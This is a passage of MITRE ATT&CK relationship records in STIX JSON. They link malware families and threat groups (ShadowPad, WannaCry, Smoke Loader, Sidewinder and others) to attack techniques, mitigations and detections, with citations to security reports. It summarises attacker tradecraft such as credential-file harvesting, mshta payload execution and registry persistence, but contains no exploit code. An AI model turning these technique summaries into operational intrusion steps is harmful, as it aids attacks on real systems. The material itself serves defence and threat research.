"relationship--0dee5507-6e61-4244-86a8-c7e8a34469da", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. 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It is installed as an ISAPI filter on Exchange servers and shares characteristics with the [China Chopper](https://attack.mitre.org/software/S0020) Web shell.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0df8e968-716a-4de9-9669-862af62d6eb6", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Baumgartner Naikon 2015", "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"}], "modified": "2019-04-25T02:48:47.517Z", "description": "[SslMM](https://attack.mitre.org/software/S0058) sends the logged-on username to its hard-coded C2.(Citation: Baumgartner Naikon 2015)", "relationship_type": "uses", "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0dfd9bcd-f9e2-44c1-9d87-07c626644561", "type": "relationship", "created": "2019-07-18T21:33:37.812Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-12-11T17:00:01.255Z", "description": "Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. Ensure proper system and access isolation for critical network systems through use of account privilege separation.", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0dfdfffc-2d1b-487f-91e0-66d81b185367", "type": "relationship", "created": "2020-05-06T21:01:23.245Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Attor Oct 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Attor.pdf", "description": "Hromcova, Z. (2019, October). AT COMMANDS, TOR-BASED COMMUNICATIONS: MEET ATTOR, A FANTASY CREATURE AND ALSO A SPY PLATFORM. Retrieved May 6, 2020."}], "modified": "2020-05-06T21:01:23.245Z", "description": "[Attor](https://attack.mitre.org/software/S0438) can obtain application window titles and then determines which windows to perform Screen Capture on.(Citation: ESET Attor Oct 2019)", "relationship_type": "uses", "source_ref": "malware--8f423bd7-6ca7-4303-9e85-008c7ad5fdaa", "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0dff1232-e275-46bd-b893-3df8b5a6b0c2", "created": "2022-07-29T19:51:34.286Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Kaspersky ShadowPad Aug 2017", "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:30:40.054Z", "description": "[ShadowPad](https://attack.mitre.org/software/S0596) has deleted arbitrary Registry values.(Citation: Kaspersky ShadowPad Aug 2017)", "relationship_type": "uses", "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e0197fe-eca5-4d70-bf72-2d9092bc777b", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Mandiant No Easy Breach", "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"}], "modified": "2019-07-25T14:25:53.429Z", "description": "(Citation: Mandiant No Easy Breach)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "tool--65370d0b-3bd4-4653-8cf9-daf56f6be830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0e078567-e5b6-45b6-a1c7-3b1f8ac3e2a8", "created": "2022-09-28T17:46:18.553Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "ObjectiveSee AppleJeus 2019", "description": "Patrick Wardle. (2019, October 12). Pass the AppleJeus. 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(2020, October 27). APT-31 Leverages COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved March 24, 2021."}], "modified": "2021-03-25T14:53:58.087Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used a tool to capture the processor architecture of a compromised host in order to register it with C2.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--0e113a7f-2aba-4dc6-b4fc-4c0f0d013c3d", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "objsee mac malware 2017", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "url": "https://objective-see.com/blog/blog_0x25.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-08T15:45:57.590Z", "description": "[MacSpy](https://attack.mitre.org/software/S0282) uses [Tor](https://attack.mitre.org/software/S0183) for command and control.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--f72251cb-2be5-421f-a081-99c29a1209e7", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e12d7d1-5c46-4314-97fb-263853eed6af", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Dell TG-3390", "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage"}], "modified": "2020-03-16T16:56:45.590Z", "description": "[HTTPBrowser](https://attack.mitre.org/software/S0070) is capable of writing a file to the compromised system from the C2 server.(Citation: Dell TG-3390)", "relationship_type": "uses", "source_ref": "malware--e066bf86-9cfb-407a-9d25-26fd5d91e360", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e12dc13-6f73-4ad9-9cb5-845d443b4d58", "type": "relationship", "created": "2019-03-25T19:13:54.931Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "LogRhythm WannaCry", "url": "https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/", "description": "Noerenberg, E., Costis, A., and Quist, N. (2017, May 16). A Technical Analysis of WannaCry Ransomware. Retrieved March 25, 2019."}, {"description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html", "source_name": "FireEye WannaCry 2017"}, {"description": "US-CERT. (2017, May 12). Alert (TA17-132A): Indicators Associated With WannaCry Ransomware. Retrieved March 25, 2019.", "url": "https://www.us-cert.gov/ncas/alerts/TA17-132A", "source_name": "US-CERT WannaCry 2017"}], "modified": "2019-04-22T11:43:33.324Z", "description": "[WannaCry](https://attack.mitre.org/software/S0366) uses an exploit in SMBv1 to spread itself to other remote systems on a network.(Citation: LogRhythm WannaCry)(Citation: FireEye WannaCry 2017)(Citation: US-CERT WannaCry 2017)", "relationship_type": "uses", "source_ref": "malware--75ecdbf1-c2bb-4afc-a3f9-c8da4de8c661", "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e1bf920-fd5a-4859-bf55-62e5f9817289", "type": "relationship", "created": "2020-09-09T15:45:49.120Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Visa Public. (2019, February). FIN6 Cybercrime Group Expands Threat to eCommerce Merchants. Retrieved September 16, 2019.", "url": "https://usa.visa.com/dam/VCOM/global/support-legal/documents/fin6-cybercrime-group-expands-threat-To-ecommerce-merchants.pdf", "source_name": "Visa FIN6 Feb 2019"}], "modified": "2020-09-09T15:45:49.120Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) has targeted victims with e-mails containing malicious attachments.(Citation: Visa FIN6 Feb 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e1de5dd-5f5c-4014-899b-0ab676322d80", "type": "relationship", "created": "2020-12-07T20:19:26.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Crutch December 2020", "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020."}], "modified": "2020-12-07T20:19:26.938Z", "description": "[Crutch](https://attack.mitre.org/software/S0538) can monitor for removable drives being plugged into the compromised machine.(Citation: ESET Crutch December 2020)", "relationship_type": "uses", "source_ref": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e1e4e48-7a84-465e-8ac3-fe696b5e6f54", "type": "relationship", "created": "2022-03-30T14:26:51.837Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.837Z", "description": "Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by a file type association.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--98034fef-d9fb-4667-8dc4-2eab6231724c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e228243-0539-4315-9443-289ed5f7ab10", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor for changes made to the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Detection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as Modify System Image.", "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", "target_ref": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cisco IOS Software Integrity Assurance - Image File Verification", "description": "Cisco. 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Retrieved March 25, 2022."}], "modified": "2022-03-25T19:19:56.304Z", "description": "[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to use scheduled tasks for execution.(Citation: Symantec Ukraine Wipers February 2022)", "relationship_type": "uses", "source_ref": "malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a", "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e37d046-454c-4463-b27f-f348ef6f817e", "type": "relationship", "created": "2020-10-30T20:13:40.358Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ThreatConnect Kimsuky September 2020", "url": "https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/", "description": "ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020."}, {"source_name": "VirusBulletin Kimsuky October 2019", "url": "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-kimsuky-group-tracking-king-spearphishing/", "description": "Kim, J. et al. (2019, October). KIMSUKY GROUP: TRACKING THE KING OF THE SPEAR PHISHING. Retrieved November 2, 2020."}, {"source_name": "CISA AA20-301A Kimsuky", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-301a", "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}, {"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}, {"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021."}, {"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. 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Retrieved July 20, 2020."}], "modified": "2020-08-10T19:52:05.912Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can automatically exfiltrate collected documents to the C2 server.(Citation: Talos Promethium June 2020)(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e4407b6-fa67-48a7-97c5-f0bff5112912", "type": "relationship", "created": "2020-03-20T19:53:25.794Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-20T19:53:25.794Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d", "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e46421a-6804-488e-adad-42cac34065be", "type": "relationship", "created": "2019-04-23T14:59:04.173Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "GitHub PoshC2", "url": "https://github.com/nettitude/PoshC2_Python", "description": "Nettitude. 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(2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020."}, {"source_name": "FBI FLASH APT39 September 2020", "url": "https://www.iranwatch.org/sites/default/files/public-intelligence-alert.pdf", "description": "FBI. (2020, September 17). Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07. Retrieved December 10, 2020."}], "modified": "2020-12-11T15:57:09.779Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used various tools to steal files from the compromised host.(Citation: Symantec Chafer February 2018)(Citation: FBI FLASH APT39 September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e530e67-4e80-412f-8b38-fbc14085f05c", "type": "relationship", "created": "2020-02-21T18:55:42.923Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-10-18T12:21:11.297Z", "description": "Some endpoint security solutions can be configured to block some types of process injection based on common sequences of behavior that occur during the injection process. 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Retrieved July 5, 2018.", "source_name": "Talos Smoke Loader July 2018"}], "modified": "2019-06-24T19:07:12.674Z", "description": "[Smoke Loader](https://attack.mitre.org/software/S0226) searches for files named logins.json to parse for credentials.(Citation: Talos Smoke Loader July 2018)", "relationship_type": "uses", "source_ref": "malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0", "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e630f6b-8662-4ffe-b666-709e17aad69f", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike Putter Panda", "description": "Crowdstrike Global Intelligence Team. (2014, June 9). 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(2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Action RAT](https://attack.mitre.org/software/S1028) has the ability to download additional payloads onto an infected machine.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:12:05.900Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--36801ffb-5c85-4c50-9121-6122e389366d", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e7ce20c-1a4f-4361-a954-1d7a164baca1", "type": "relationship", "created": "2020-06-24T23:51:51.525Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "RedCanary Mockingbird May 2020", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/", "description": "Lambert, T. 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Retrieved June 17, 2021."}], "modified": "2021-06-22T13:30:56.454Z", "description": "[SodaMaster](https://attack.mitre.org/software/S0627) can check for the presence of the Registry key <code>HKEY_CLASSES_ROOT\\\\Applications\\\\VMwareHostOpen.exe</code> before proceeding to its main functionality.(Citation: Securelist APT10 March 2021)\t ", "relationship_type": "uses", "source_ref": "malware--94d6d788-07bb-4dcc-b62f-e02626b00108", "target_ref": "attack-pattern--29be378d-262d-4e99-b00d-852d573628e6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0e89ca75-b73e-476e-b56d-1cf815fa7868", "type": "relationship", "created": "2017-05-31T21:33:27.077Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20180825085952/https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf", "description": "Cymmetria. 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Retrieved January 29, 2021."}], "modified": "2021-07-21T12:24:09.229Z", "description": "[Sidewinder](https://attack.mitre.org/groups/G0121) has used <code>mshta.exe</code> to execute malicious payloads.(Citation: Rewterz Sidewinder APT April 2020)(Citation: Rewterz Sidewinder COVID-19 June 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e", "target_ref": "attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ecc1e3a-340a-42b6-9739-c6a243ffaa8f", "type": "relationship", "created": "2021-10-07T21:28:23.948Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "trendmicro xcsset xcode project 2020", "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf", "description": "Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}], "modified": "2021-10-18T22:57:30.704Z", "description": "[XCSSET](https://attack.mitre.org/software/S0658) uses <code>ps aux</code> with the <code>grep</code> command to enumerate common browsers and system processes potentially impacting [XCSSET](https://attack.mitre.org/software/S0658)'s exfiltration capabilities.(Citation: trendmicro xcsset xcode project 2020)", "relationship_type": "uses", "source_ref": "malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f", "target_ref": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ed0ef18-126f-4a03-ac2a-f315dfb48b7d", "type": "relationship", "created": "2020-05-26T20:33:11.668Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CheckPoint Naikon May 2020", "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/", "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}], "modified": "2020-06-03T13:40:15.308Z", "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to enumerate loaded modules for a process.(Citation: CheckPoint Naikon May 2020).", "relationship_type": "uses", "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ed82dd2-9b78-49a7-990b-d59ad7fa40a1", "type": "relationship", "created": "2020-08-17T14:37:43.612Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. (2020, June). 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Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AuTo Stealer](https://attack.mitre.org/software/S1029) can place malicious executables in a victim's AutoRun registry key or StartUp directory, depending on the AV product installed, to maintain persistence.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T16:51:25.432Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--3e4e2c79-2b27-4245-a5c1-5586a3cbd8f5", "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0ef5c336-794e-4700-b40e-c78eed74d353", "created": "2022-08-11T22:37:48.994Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Checkpoint MosesStaff Nov 2021", "url": "https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/", "description": "Checkpoint Research. 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Retrieved August 11, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DCSrv](https://attack.mitre.org/software/S1033) has a function to sleep for two hours before rebooting the system.(Citation: Checkpoint MosesStaff Nov 2021)", "modified": "2022-08-11T22:37:48.994Z", "relationship_type": "uses", "source_ref": "malware--5633ffd3-81ef-4f98-8f93-4896b03998f0", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0ef9bb79-c221-40a8-94b0-58bfc816565f", "type": "relationship", "created": "2017-05-31T21:33:27.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf", "description": "Baumgartner, K., Golovkin, M.. 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Retrieved June 29, 2021."}], "modified": "2021-07-02T14:55:19.308Z", "description": "(Citation: Baumgartner Naikon 2015)(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": 